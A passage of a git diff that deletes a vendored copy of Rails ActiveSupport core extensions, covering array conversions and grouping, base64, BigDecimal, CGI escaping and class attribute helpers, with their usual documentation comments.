-              options[:last_word_connector] ||= skip_last_comma ? connector : ", #{connector}"
-            else
-              options[:last_word_connector] ||= skip_last_comma ? default_two_words_connector : default_last_word_connector
-            end
-          end
-          
-          options.assert_valid_keys(:words_connector, :two_words_connector, :last_word_connector, :locale)       
-          options.reverse_merge! :words_connector => default_words_connector, :two_words_connector => default_two_words_connector, :last_word_connector => default_last_word_connector
-          
-          case length
-            when 0
-              ""
-            when 1
-              self[0].to_s
-            when 2
-              "#{self[0]}#{options[:two_words_connector]}#{self[1]}"
-            else
-              "#{self[0...-1].join(options[:words_connector])}#{options[:last_word_connector]}#{self[-1]}"
-          end
-        end
-        
-
-        # Calls <tt>to_param</tt> on all its elements and joins the result with
-        # slashes. This is used by <tt>url_for</tt> in Action Pack. 
-        def to_param
-          collect { |e| e.to_param }.join '/'
-        end
-
-        # Converts an array into a string suitable for use as a URL query string,
-        # using the given +key+ as the param name.
-        #
-        #   ['Rails', 'coding'].to_query('hobbies') # => "hobbies%5B%5D=Rails&hobbies%5B%5D=coding"
-        def to_query(key)
-          prefix = "#{key}[]"
-          collect { |value| value.to_query(prefix) }.join '&'
-        end
-
-        def self.included(base) #:nodoc:
-          base.class_eval do
-            alias_method :to_default_s, :to_s
-            alias_method :to_s, :to_formatted_s
-          end
-        end
-
-        # Converts a collection of elements into a formatted string by calling
-        # <tt>to_s</tt> on all elements and joining them:
-        #
-        #   Blog.find(:all).to_formatted_s # => "First PostSecond PostThird Post"
-        #
-        # Adding in the <tt>:db</tt> argument as the format yields a prettier
-        # output:
-        #
-        #   Blog.find(:all).to_formatted_s(:db) # => "First Post,Second Post,Third Post"
-        def to_formatted_s(format = :default)
-          case format
-            when :db
-              if respond_to?(:empty?) && self.empty?
-                "null"
-              else
-                collect { |element| element.id }.join(",")
-              end
-            else
-              to_default_s
-          end
-        end
-
-        # Returns a string that represents this array in XML by sending +to_xml+
-        # to each element. Active Record collections delegate their representation
-        # in XML to this method.
-        #
-        # All elements are expected to respond to +to_xml+, if any of them does
-        # not an exception is raised.
-        #
-        # The root node reflects the class name of the first element in plural
-        # if all elements belong to the same type and that's not Hash:
-        #
-        #   customer.projects.to_xml
-        #
-        #   <?xml version="1.0" encoding="UTF-8"?>
-        #   <projects type="array">
-        #     <project>
-        #       <amount type="decimal">20000.0</amount>
-        #       <customer-id type="integer">1567</customer-id>
-        #       <deal-date type="date">2008-04-09</deal-date>
-        #       ...
-        #     </project>
-        #     <project>
-        #       <amount type="decimal">57230.0</amount>
-        #       <customer-id type="integer">1567</customer-id>
-        #       <deal-date type="date">2008-04-15</deal-date>
-        #       ...
-        #     </project>
-        #   </projects>
-        #
-        # Otherwise the root element is "records":
-        #
-        #   [{:foo => 1, :bar => 2}, {:baz => 3}].to_xml
-        #
-        #   <?xml version="1.0" encoding="UTF-8"?>
-        #   <records type="array">
-        #     <record>
-        #       <bar type="integer">2</bar>
-        #       <foo type="integer">1</foo>
-        #     </record>
-        #     <record>
-        #       <baz type="integer">3</baz>
-        #     </record>
-        #   </records>
-        #
-        # If the collection is empty the root element is "nil-classes" by default:
-        #
-        #   [].to_xml
-        #
-        #   <?xml version="1.0" encoding="UTF-8"?>
-        #   <nil-classes type="array"/>
-        #
-        # To ensure a meaningful root element use the <tt>:root</tt> option:
-        #
-        #   customer_with_no_projects.projects.to_xml(:root => "projects")
-        #
-        #   <?xml version="1.0" encoding="UTF-8"?>
-        #   <projects type="array"/>
-        #
-        # By default root children have as node name the one of the root
-        # singularized. You can change it with the <tt>:children</tt> option.
-        #
-        # The +options+ hash is passed downwards:
-        #
-        #   Message.all.to_xml(:skip_types => true)
-        #
-        #   <?xml version="1.0" encoding="UTF-8"?>
-        #   <messages>
-        #     <message>
-        #       <created-at>2008-03-07T09:58:18+01:00</created-at>
-        #       <id>1</id>
-        #       <name>1</name>
-        #       <updated-at>2008-03-07T09:58:18+01:00</updated-at>
-        #       <user-id>1</user-id>
-        #     </message>
-        #   </messages>
-        #
-        def to_xml(options = {})
-          raise "Not all elements respond to to_xml" unless all? { |e| e.respond_to? :to_xml }
-          require 'builder' unless defined?(Builder)
-
-          options = options.dup
-          options[:root]     ||= all? { |e| e.is_a?(first.class) && first.class.to_s != "Hash" } ? first.class.to_s.underscore.pluralize.tr('/', '-') : "records"
-          options[:children] ||= options[:root].singularize
-          options[:indent]   ||= 2
-          options[:builder]  ||= Builder::XmlMarkup.new(:indent => options[:indent])
-
-          root     = options.delete(:root).to_s
-          children = options.delete(:children)
-
-          if !options.has_key?(:dasherize) || options[:dasherize]
-            root = root.dasherize
-          end
-
-          options[:builder].instruct! unless options.delete(:skip_instruct)
-
-          opts = options.merge({ :root => children })
-
-          xml = options[:builder]
-          if empty?
-            xml.tag!(root, options[:skip_types] ? {} : {:type => "array"})
-          else
-            xml.tag!(root, options[:skip_types] ? {} : {:type => "array"}) {
-              yield xml if block_given?
-              each { |e| e.to_xml(opts.merge({ :skip_instruct => true })) }
-            }
-          end
-        end
-
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/array/extract_options.rb b/vendor/rails/activesupport/lib/active_support/core_ext/array/extract_options.rb
deleted file mode 100644
index eb917576..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/array/extract_options.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module Array #:nodoc:
-      module ExtractOptions
-        # Extracts options from a set of arguments. Removes and returns the last
-        # element in the array if it's a hash, otherwise returns a blank hash.
-        #
-        #   def options(*args)
-        #     args.extract_options!
-        #   end
-        #
-        #   options(1, 2)           # => {}
-        #   options(1, 2, :a => :b) # => {:a=>:b}
-        def extract_options!
-          last.is_a?(::Hash) ? pop : {}
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/array/grouping.rb b/vendor/rails/activesupport/lib/active_support/core_ext/array/grouping.rb
deleted file mode 100644
index 239e0354..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/array/grouping.rb
+++ /dev/null
@@ -1,106 +0,0 @@
-require 'enumerator'
-
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module Array #:nodoc:
-      module Grouping
-        # Splits or iterates over the array in groups of size +number+,
-        # padding any remaining slots with +fill_with+ unless it is +false+.
-        # 
-        #   %w(1 2 3 4 5 6 7).in_groups_of(3) {|group| p group}
-        #   ["1", "2", "3"]
-        #   ["4", "5", "6"]
-        #   ["7", nil, nil]
-        #
-        #   %w(1 2 3).in_groups_of(2, '&nbsp;') {|group| p group}
-        #   ["1", "2"]
-        #   ["3", "&nbsp;"]
-        #
-        #   %w(1 2 3).in_groups_of(2, false) {|group| p group}
-        #   ["1", "2"]
-        #   ["3"]
-        def in_groups_of(number, fill_with = nil)
-          if fill_with == false
-            collection = self
-          else
-            # size % number gives how many extra we have;
-            # subtracting from number gives how many to add;
-            # modulo number ensures we don't add group of just fill.
-            padding = (number - size % number) % number
-            collection = dup.concat([fill_with] * padding)
-          end
-
-          if block_given?
-            collection.each_slice(number) { |slice| yield(slice) }
-          else
-            [].tap do |groups|
-              collection.each_slice(number) { |group| groups << group }
-            end
-          end
-        end
-
-        # Splits or iterates over the array in +number+ of groups, padding any
-        # remaining slots with +fill_with+ unless it is +false+.
-        #
-        #   %w(1 2 3 4 5 6 7 8 9 10).in_groups(3) {|group| p group}
-        #   ["1", "2", "3", "4"]
-        #   ["5", "6", "7", nil]
-        #   ["8", "9", "10", nil]
-        #
-        #   %w(1 2 3 4 5 6 7).in_groups(3, '&nbsp;') {|group| p group}
-        #   ["1", "2", "3"]
-        #   ["4", "5", "&nbsp;"]
-        #   ["6", "7", "&nbsp;"]
-        #
-        #   %w(1 2 3 4 5 6 7).in_groups(3, false) {|group| p group}
-        #   ["1", "2", "3"]
-        #   ["4", "5"]
-        #   ["6", "7"]
-        def in_groups(number, fill_with = nil)
-          # size / number gives minor group size;
-          # size % number gives how many objects need extra accomodation;
-          # each group hold either division or division + 1 items.
-          division = size / number
-          modulo = size % number
-
-          # create a new array avoiding dup
-          groups = []
-          start = 0
-
-          number.times do |index|
-            length = division + (modulo > 0 && modulo > index ? 1 : 0)
-            padding = fill_with != false &&
-              modulo > 0 && length == division ? 1 : 0
-            groups << slice(start, length).concat([fill_with] * padding)
-            start += length
-          end
-
-          if block_given?
-            groups.each{|g| yield(g) }
-          else
-            groups
-          end
-        end
-
-        # Divides the array into one or more subarrays based on a delimiting +value+
-        # or the result of an optional block.
-        #
-        #   [1, 2, 3, 4, 5].split(3)                # => [[1, 2], [4, 5]]
-        #   (1..10).to_a.split { |i| i % 3 == 0 }   # => [[1, 2], [4, 5], [7, 8], [10]]
-        def split(value = nil)
-          using_block = block_given?
-
-          inject([[]]) do |results, element|
-            if (using_block && yield(element)) || (value == element)
-              results << []
-            else
-              results.last << element
-            end
-
-            results
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/array/random_access.rb b/vendor/rails/activesupport/lib/active_support/core_ext/array/random_access.rb
deleted file mode 100644
index a0ca89f7..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/array/random_access.rb
+++ /dev/null
@@ -1,42 +0,0 @@
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module Array #:nodoc:
-      module RandomAccess
-        # This method is deprecated because it masks Kernel#rand within the Array class itself, 
-        # which may be used by a 3rd party library extending Array in turn. See
-        #
-        #   https://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/4555
-        #
-        def rand # :nodoc:
-          ActiveSupport::Deprecation.warn 'Array#rand is deprecated and will be removed in Rails 3. Use Array#sample instead', caller
-          sample
-        end
-
-        # Returns a random element from the array.
-        def random_element # :nodoc:
-          ActiveSupport::Deprecation.warn 'Array#random_element is deprecated and will be removed in Rails 3. Use Array#sample instead', caller
-          sample
-        end
-
-        # Backport of Array#sample based on Marc-Andre Lafortune's http://github.com/marcandre/backports/
-        def sample(n=nil)
-          return self[Kernel.rand(size)] if n.nil?
-          n = n.to_int
-        rescue Exception => e
-          raise TypeError, "Coercion error: #{n.inspect}.to_int => Integer failed:\n(#{e.message})"
-        else
-          raise TypeError, "Coercion error: #{n}.to_int did NOT return an Integer (was #{n.class})" unless n.kind_of? ::Integer
-          raise ArgumentError, "negative array size" if n < 0
-          n = size if n > size
-          result = ::Array.new(self)
-          n.times do |i|
-            r = i + Kernel.rand(size - i)
-            result[i], result[r] = result[r], result[i]
-          end
-          result[n..size] = []
-          result
-        end unless method_defined? :sample
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/array/wrapper.rb b/vendor/rails/activesupport/lib/active_support/core_ext/array/wrapper.rb
deleted file mode 100644
index 80b8f055..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/array/wrapper.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module Array #:nodoc:
-      module Wrapper
-        # Wraps the object in an Array unless it's an Array.  Converts the
-        # object to an Array using #to_ary if it implements that.
-        def wrap(object)
-          case object
-          when nil
-            []
-          when self
-            object
-          else
-            if object.respond_to?(:to_ary)
-              object.to_ary
-            else
-              [object]
-            end
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/base64.rb b/vendor/rails/activesupport/lib/active_support/core_ext/base64.rb
deleted file mode 100644
index 235e2edf..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/base64.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-require 'active_support/base64'
-require 'active_support/core_ext/base64/encoding'
-
-ActiveSupport::Base64.extend ActiveSupport::CoreExtensions::Base64::Encoding
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/base64/encoding.rb b/vendor/rails/activesupport/lib/active_support/core_ext/base64/encoding.rb
deleted file mode 100644
index a9656c13..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/base64/encoding.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module Base64 #:nodoc:
-      module Encoding
-        # Encodes the value as base64 without the newline breaks. This makes the base64 encoding readily usable as URL parameters 
-        # or memcache keys without further processing.
-        #
-        #  ActiveSupport::Base64.encode64s("Original unencoded string") 
-        #  # => "T3JpZ2luYWwgdW5lbmNvZGVkIHN0cmluZw=="
-        def encode64s(value)
-          encode64(value).gsub(/\n/, '')
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/benchmark.rb b/vendor/rails/activesupport/lib/active_support/core_ext/benchmark.rb
deleted file mode 100644
index ae57b152..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/benchmark.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-require 'benchmark'
-
-class << Benchmark
-  # Earlier Ruby had a slower implementation.
-  if RUBY_VERSION < '1.8.7'
-    remove_method :realtime
-
-    def realtime
-      r0 = Time.now
-      yield
-      r1 = Time.now
-      r1.to_f - r0.to_f
-    end
-  end
-
-  def ms
-    1000 * realtime { yield }
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/bigdecimal.rb b/vendor/rails/activesupport/lib/active_support/core_ext/bigdecimal.rb
deleted file mode 100644
index d429078c..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/bigdecimal.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-require 'bigdecimal'
-require 'active_support/core_ext/bigdecimal/conversions'
-
-class BigDecimal#:nodoc:
-  include ActiveSupport::CoreExtensions::BigDecimal::Conversions
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/bigdecimal/conversions.rb b/vendor/rails/activesupport/lib/active_support/core_ext/bigdecimal/conversions.rb
deleted file mode 100644
index bc9d578f..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/bigdecimal/conversions.rb
+++ /dev/null
@@ -1,37 +0,0 @@
-require 'yaml'
-
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module BigDecimal #:nodoc:
-      module Conversions
-        DEFAULT_STRING_FORMAT = 'F'.freeze
-        YAML_TAG = 'tag:yaml.org,2002:float'.freeze
-        YAML_MAPPING = { 'Infinity' => '.Inf', '-Infinity' => '-.Inf', 'NaN' => '.NaN' }
-
-        def self.included(base) #:nodoc:
-          base.class_eval do
-            alias_method :_original_to_s, :to_s
-            alias_method :to_s, :to_formatted_s
-
-            yaml_as YAML_TAG
-          end
-        end
-
-        def to_formatted_s(format = DEFAULT_STRING_FORMAT)
-          _original_to_s(format)
-        end
-
-        # This emits the number without any scientific notation.
-        # This is better than self.to_f.to_s since it doesn't lose precision.
-        #
-        # Note that reconstituting YAML floats to native floats may lose precision.
-        def to_yaml(opts = {})
-          YAML.quick_emit(nil, opts) do |out|
-            string = to_s
-            out.scalar(YAML_TAG, YAML_MAPPING[string] || string, :plain)
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/blank.rb b/vendor/rails/activesupport/lib/active_support/core_ext/blank.rb
deleted file mode 100644
index 54e83ba4..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/blank.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-require 'active_support/core_ext/object/blank'
-ActiveSupport::Deprecation.warn 'require "active_support/core_ext/blank" is deprecated and will be removed in Rails 3. Use require "active_support/core_ext/object/blank" instead.'
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/cgi.rb b/vendor/rails/activesupport/lib/active_support/core_ext/cgi.rb
deleted file mode 100644
index db90e5c7..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/cgi.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-require 'active_support/core_ext/cgi/escape_skipping_slashes'
-
-class CGI #:nodoc:
-  extend ActiveSupport::CoreExtensions::CGI::EscapeSkippingSlashes
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/cgi/escape_skipping_slashes.rb b/vendor/rails/activesupport/lib/active_support/core_ext/cgi/escape_skipping_slashes.rb
deleted file mode 100644
index 1edb3771..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/cgi/escape_skipping_slashes.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module CGI #:nodoc:
-      module EscapeSkippingSlashes #:nodoc:
-        if RUBY_VERSION >= '1.9'
-          def escape_skipping_slashes(str)
-            str = str.join('/') if str.respond_to? :join
-            str.gsub(/([^ \/a-zA-Z0-9_.-])/n) do
-              "%#{$1.unpack('H2' * $1.bytesize).join('%').upcase}"
-            end.tr(' ', '+')
-          end
-        else
-          def escape_skipping_slashes(str)
-            str = str.join('/') if str.respond_to? :join
-            str.gsub(/([^ \/a-zA-Z0-9_.-])/n) do
-              "%#{$1.unpack('H2').first.upcase}"
-            end.tr(' ', '+')
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/class.rb b/vendor/rails/activesupport/lib/active_support/core_ext/class.rb
deleted file mode 100644
index 2e46507f..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/class.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-require 'active_support/core_ext/class/attribute_accessors'
-require 'active_support/core_ext/class/inheritable_attributes'
-require 'active_support/core_ext/class/removal'
-require 'active_support/core_ext/class/delegating_attributes'
-require 'active_support/core_ext/class/attribute'
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/class/attribute.rb b/vendor/rails/activesupport/lib/active_support/core_ext/class/attribute.rb
deleted file mode 100644
index 576366e4..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/class/attribute.rb
+++ /dev/null
@@ -1,67 +0,0 @@
-require 'active_support/core_ext/kernel/singleton_class'
-require 'active_support/core_ext/module/remove_method'
-
-class Class
-  # Declare a class-level attribute whose value is inheritable and
-  # overwritable by subclasses:
-  #
-  #   class Base
-  #     class_attribute :setting
-  #   end
-  #
-  #   class Subclass < Base
-  #   end
-  #
-  #   Base.setting = true
-  #   Subclass.setting            # => true
-  #   Subclass.setting = false
-  #   Subclass.setting            # => false
-  #   Base.setting                # => true
-  #
-  # This matches normal Ruby method inheritance: think of writing an attribute
-  # on a subclass as overriding the reader method.
-  #
-  # For convenience, a query method is defined as well:
-  #
-  #   Subclass.setting?           # => false
-  #
-  # Instances may overwrite the class value in the same way:
-  #
-  #   Base.setting = true
-  #   object = Base.new
-  #   object.setting          # => true
-  #   object.setting = false
-  #   object.setting          # => false
-  #   Base.setting            # => true
-  #
-  # To opt out of the instance writer method, pass :instance_writer => false.
-  #
-  #   object.setting = false  # => NoMethodError
-  def class_attribute(*attrs)
-    instance_writer = !attrs.last.is_a?(Hash) || attrs.pop[:instance_writer]
-
-    attrs.each do |name|
-      class_eval <<-RUBY, __FILE__, __LINE__ + 1
-        def self.#{name}() nil end
-        def self.#{name}?() !!#{name} end
-
-        def self.#{name}=(val)
-          singleton_class.class_eval do
-            remove_possible_method(:#{name})
-            define_method(:#{name}) { val }
-          end
-        end
-
-        def #{name}
-          defined?(@#{name}) ? @#{name} : singleton_class.#{name}
-        end
-
-        def #{name}?
-          !!#{name}
-        end
-      RUBY
-
-      attr_writer name if instance_writer
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb b/vendor/rails/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
deleted file mode 100644
index 7ccf8b00..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
+++ /dev/null
@@ -1,61 +0,0 @@
-# Extends the class object with class and instance accessors for class attributes,
-# just like the native attr* accessors for instance attributes.
-#
-#  class Person
-#    cattr_accessor :hair_colors
-#  end
-#
-#  Person.hair_colors = [:brown, :black, :blonde, :red]
-class Class
-  def cattr_reader(*syms)
-    options = syms.extract_options!
-    syms.each do |sym|
-      next if sym.is_a?(Hash)
-      class_eval(<<-EOS, __FILE__, __LINE__ + 1)
-        unless defined? @@#{sym}
-          @@#{sym} = nil
-        end
-
-        def self.#{sym}
-          @@#{sym}
-        end
-      EOS
-
-      unless options[:instance_reader] == false
-        class_eval(<<-EOS, __FILE__, __LINE__ + 1)
-          def #{sym}
-            @@#{sym}
-          end
-        EOS
-      end
-    end
-  end
-
-  def cattr_writer(*syms)
-    options = syms.extract_options!
-    syms.each do |sym|
-      class_eval(<<-EOS, __FILE__, __LINE__ + 1)
-        unless defined? @@#{sym}
-          @@#{sym} = nil
-        end
-
-        def self.#{sym}=(obj)
-          @@#{sym} = obj
-        end
-      EOS
-
-      unless options[:instance_writer] == false
-        class_eval(<<-EOS, __FILE__, __LINE__ + 1)
-          def #{sym}=(obj)
-            @@#{sym} = obj
-          end
-        EOS
-      end
-    end
-  end
-
-  def cattr_accessor(*syms)
-    cattr_reader(*syms)
-    cattr_writer(*syms)
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb b/vendor/rails/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb
deleted file mode 100644
index 000ccf4d..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb
+++ /dev/null
@@ -1,47 +0,0 @@
-# These class attributes behave something like the class
-# inheritable accessors.  But instead of copying the hash over at
-# the time the subclass is first defined,  the accessors simply
-# delegate to their superclass unless they have been given a 
-# specific value.  This stops the strange situation where values 
-# set after class definition don't get applied to subclasses.
-class Class
-  def superclass_delegating_reader(*names)
-    class_name_to_stop_searching_on = self.superclass.name.blank? ? "Object" : self.superclass.name
-    names.each do |name|
-      class_eval <<-EOS
-      def self.#{name}                                            # def self.only_reader
-        if defined?(@#{name})                                     #   if defined?(@only_reader)
-          @#{name}                                                #     @only_reader
-        elsif superclass < #{class_name_to_stop_searching_on} &&  #   elsif superclass < Object &&
-              superclass.respond_to?(:#{name})                    #         superclass.respond_to?(:only_reader)
-          superclass.#{name}                                      #     superclass.only_reader
-        end                                                       #   end
-      end                                                         # end
-      def #{name}                                                 # def only_reader
-        self.class.#{name}                                        #   self.class.only_reader
-      end                                                         # end
-      def self.#{name}?                                           # def self.only_reader?
-        !!#{name}                                                 #   !!only_reader
-      end                                                         # end
-      def #{name}?                                                # def only_reader?
-        !!#{name}                                                 #   !!only_reader
-      end                                                         # end
-      EOS
-    end
-  end
-
-  def superclass_delegating_writer(*names)
-    names.each do |name|
-      class_eval <<-EOS
-        def self.#{name}=(value)  # def self.only_writer=(value)
-          @#{name} = value        #   @only_writer = value
-        end                       # end
-      EOS
-    end
-  end
-
-  def superclass_delegating_accessor(*names)
-    superclass_delegating_reader(*names)
-    superclass_delegating_writer(*names)
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/class/inheritable_attributes.rb b/vendor/rails/activesupport/lib/active_support/core_ext/class/inheritable_attributes.rb
deleted file mode 100644
index 1794afe7..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/class/inheritable_attributes.rb
+++ /dev/null
@@ -1,140 +0,0 @@
-# Retain for backward compatibility.  Methods are now included in Class.
-module ClassInheritableAttributes # :nodoc:
-end
-
-# Allows attributes to be shared within an inheritance hierarchy, but where each descendant gets a copy of
-# their parents' attributes, instead of just a pointer to the same. This means that the child can add elements
-# to, for example, an array without those additions being shared with either their parent, siblings, or
-# children, which is unlike the regular class-level attributes that are shared across the entire hierarchy.
-class Class # :nodoc:
-  def class_inheritable_reader(*syms)
-    syms.each do |sym|
-      next if sym.is_a?(Hash)
-      class_eval <<-EOS
-        def self.#{sym}                        # def self.before_add_for_comments
-          read_inheritable_attribute(:#{sym})  #   read_inheritable_attribute(:before_add_for_comments)
-        end                                    # end
-                                               #
-        def #{sym}                             # def before_add_for_comments
-          self.class.#{sym}                    #   self.class.before_add_for_comments
-        end                                    # end
-      EOS
-    end
-  end
-
-  def class_inheritable_writer(*syms)
-    options = syms.extract_options!
-    syms.each do |sym|
-      class_eval <<-EOS
-        def self.#{sym}=(obj)                          # def self.color=(obj)
-          write_inheritable_attribute(:#{sym}, obj)    #   write_inheritable_attribute(:color, obj)
-        end                                            # end
-                                                       #
-        #{"                                            #
-        def #{sym}=(obj)                               # def color=(obj)
-          self.class.#{sym} = obj                      #   self.class.color = obj
-        end                                            # end
-        " unless options[:instance_writer] == false }  # # the writer above is generated unless options[:instance_writer] == false
-      EOS
-    end
-  end
-
-  def class_inheritable_array_writer(*syms)
-    options = syms.extract_options!
-    syms.each do |sym|
-      class_eval <<-EOS
-        def self.#{sym}=(obj)                          # def self.levels=(obj)
-          write_inheritable_array(:#{sym}, obj)        #   write_inheritable_array(:levels, obj)
-        end                                            # end
-                                                       #
-        #{"                                            #
-        def #{sym}=(obj)                               # def levels=(obj)
-          self.class.#{sym} = obj                      #   self.class.levels = obj
-        end                                            # end
-        " unless options[:instance_writer] == false }  # # the writer above is generated unless options[:instance_writer] == false
-      EOS
-    end
-  end
-
-  def class_inheritable_hash_writer(*syms)
-    options = syms.extract_options!
-    syms.each do |sym|
-      class_eval <<-EOS
-        def self.#{sym}=(obj)                          # def self.nicknames=(obj)
-          write_inheritable_hash(:#{sym}, obj)         #   write_inheritable_hash(:nicknames, obj)
-        end                                            # end
-                                                       #
-        #{"                                            #
-        def #{sym}=(obj)                               # def nicknames=(obj)
-          self.class.#{sym} = obj                      #   self.class.nicknames = obj
-        end                                            # end
-        " unless options[:instance_writer] == false }  # # the writer above is generated unless options[:instance_writer] == false
-      EOS
-    end
-  end
-
-  def class_inheritable_accessor(*syms)
-    class_inheritable_reader(*syms)
-    class_inheritable_writer(*syms)
-  end
-
-  def class_inheritable_array(*syms)
-    class_inheritable_reader(*syms)
-    class_inheritable_array_writer(*syms)
-  end
-
-  def class_inheritable_hash(*syms)
-    class_inheritable_reader(*syms)
-    class_inheritable_hash_writer(*syms)
-  end
-
-  def inheritable_attributes
-    @inheritable_attributes ||= EMPTY_INHERITABLE_ATTRIBUTES
-  end
-
-  def write_inheritable_attribute(key, value)
-    if inheritable_attributes.equal?(EMPTY_INHERITABLE_ATTRIBUTES)
-      @inheritable_attributes = {}
-    end
-    inheritable_attributes[key] = value
-  end
-
-  def write_inheritable_array(key, elements)
-    write_inheritable_attribute(key, []) if read_inheritable_attribute(key).nil?
-    write_inheritable_attribute(key, read_inheritable_attribute(key) + elements)
-  end
-
-  def write_inheritable_hash(key, hash)
-    write_inheritable_attribute(key, {}) if read_inheritable_attribute(key).nil?
-    write_inheritable_attribute(key, read_inheritable_attribute(key).merge(hash))
-  end
-
-  def read_inheritable_attribute(key)
-    inheritable_attributes[key]
-  end
-
-  def reset_inheritable_attributes
-    @inheritable_attributes = EMPTY_INHERITABLE_ATTRIBUTES
-  end
-
-  private
-    # Prevent this constant from being created multiple times
-    EMPTY_INHERITABLE_ATTRIBUTES = {}.freeze unless const_defined?(:EMPTY_INHERITABLE_ATTRIBUTES)
-
-    def inherited_with_inheritable_attributes(child)
-      inherited_without_inheritable_attributes(child) if respond_to?(:inherited_without_inheritable_attributes)
-
-      if inheritable_attributes.equal?(EMPTY_INHERITABLE_ATTRIBUTES)
-        new_inheritable_attributes = EMPTY_INHERITABLE_ATTRIBUTES
-      else
-        new_inheritable_attributes = inheritable_attributes.inject({}) do |memo, (key, value)|
-          memo.update(key => value.duplicable? ? value.dup : value)
-        end
-      end
-
-      child.instance_variable_set('@inheritable_attributes', new_inheritable_attributes)
-    end
-
-    alias inherited_without_inheritable_attributes inherited
-    alias inherited inherited_with_inheritable_attributes
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/class/removal.rb b/vendor/rails/activesupport/lib/active_support/core_ext/class/removal.rb
deleted file mode 100644
index 10660edb..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/class/removal.rb
+++ /dev/null
@@ -1,50 +0,0 @@
-class Class #:nodoc:
-  
-  # Unassociates the class with its subclasses and removes the subclasses
-  # themselves.
-  #
-  #   Integer.remove_subclasses # => [Bignum, Fixnum]
-  #   Fixnum                    # => NameError: uninitialized constant Fixnum
-  def remove_subclasses
-    Object.remove_subclasses_of(self)
-  end
-
-  # Returns an array with the names of the subclasses of +self+ as strings.
-  #
-  #   Integer.subclasses # => ["Bignum", "Fixnum"]
-  def subclasses
-    Object.subclasses_of(self).map { |o| o.to_s }
-  end
-
-  # Removes the classes in +klasses+ from their parent module.
-  #
-  # Ordinary classes belong to some module via a constant. This method computes
-  # that constant name from the class name and removes it from the module it
-  # belongs to.
-  #
-  #   Object.remove_class(Integer) # => [Integer]
-  #   Integer                      # => NameError: uninitialized constant Integer
-  #
-  # Take into account that in general the class object could be still stored
-  # somewhere else.
-  #
-  #   i = Integer                  # => Integer
-  #   Object.remove_class(Integer) # => [Integer]
-  #   Integer                      # => NameError: uninitialized constant Integer
-  #   i.subclasses                 # => ["Bignum", "Fixnum"]
-  #   Fixnum.superclass            # => Integer
-  def remove_class(*klasses)
-    klasses.flatten.each do |klass|
-      # Skip this class if there is nothing bound to this name
-      next unless defined?(klass.name)
-      
-      basename = klass.to_s.split("::").last
-      parent = klass.parent
-      
-      # Skip this class if it does not match the current one bound to this name
-      next unless parent.const_defined?(basename) && klass = parent.const_get(basename)
-
-      parent.instance_eval { remove_const basename } unless parent == klass
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/date.rb b/vendor/rails/activesupport/lib/active_support/core_ext/date.rb
deleted file mode 100644
index 3f56c560..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/date.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-require 'date'
